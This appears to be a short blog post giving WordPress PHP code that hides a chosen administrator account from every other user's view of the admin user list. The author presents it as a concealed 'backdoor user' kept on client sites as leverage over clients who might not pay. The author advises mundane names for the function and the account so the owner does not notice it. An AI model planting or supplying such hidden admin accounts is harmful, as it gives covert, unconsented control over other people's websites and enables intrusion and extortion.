Create un-removeable user

While you can’t guarantee the absolute safety of this user, I have used this to hide my backdoor user (useful for clients who are aggressive in removing users, yet may forget to pay their bill, for example)

add_action('pre_user_query','sleeper_pre_user_query');
function sleeper_pre_user_query($user_search) {
    global $current_user;
    $username = $current_user->user_login;

    if ($username != 'my_secret_admin_user') { 
        global $wpdb;
        $user_search->query_where = 
        str_replace(
            'WHERE 1=1', 
            "WHERE 1=1 AND {$wpdb->users}.user_login !=
            'my_secret_admin_user'",$user_search->query_where
        );
    }
}

I’d name the function something mundane sounding, might want your user to be mundane as well. The code prevents any other user from seeing that user in the admin list.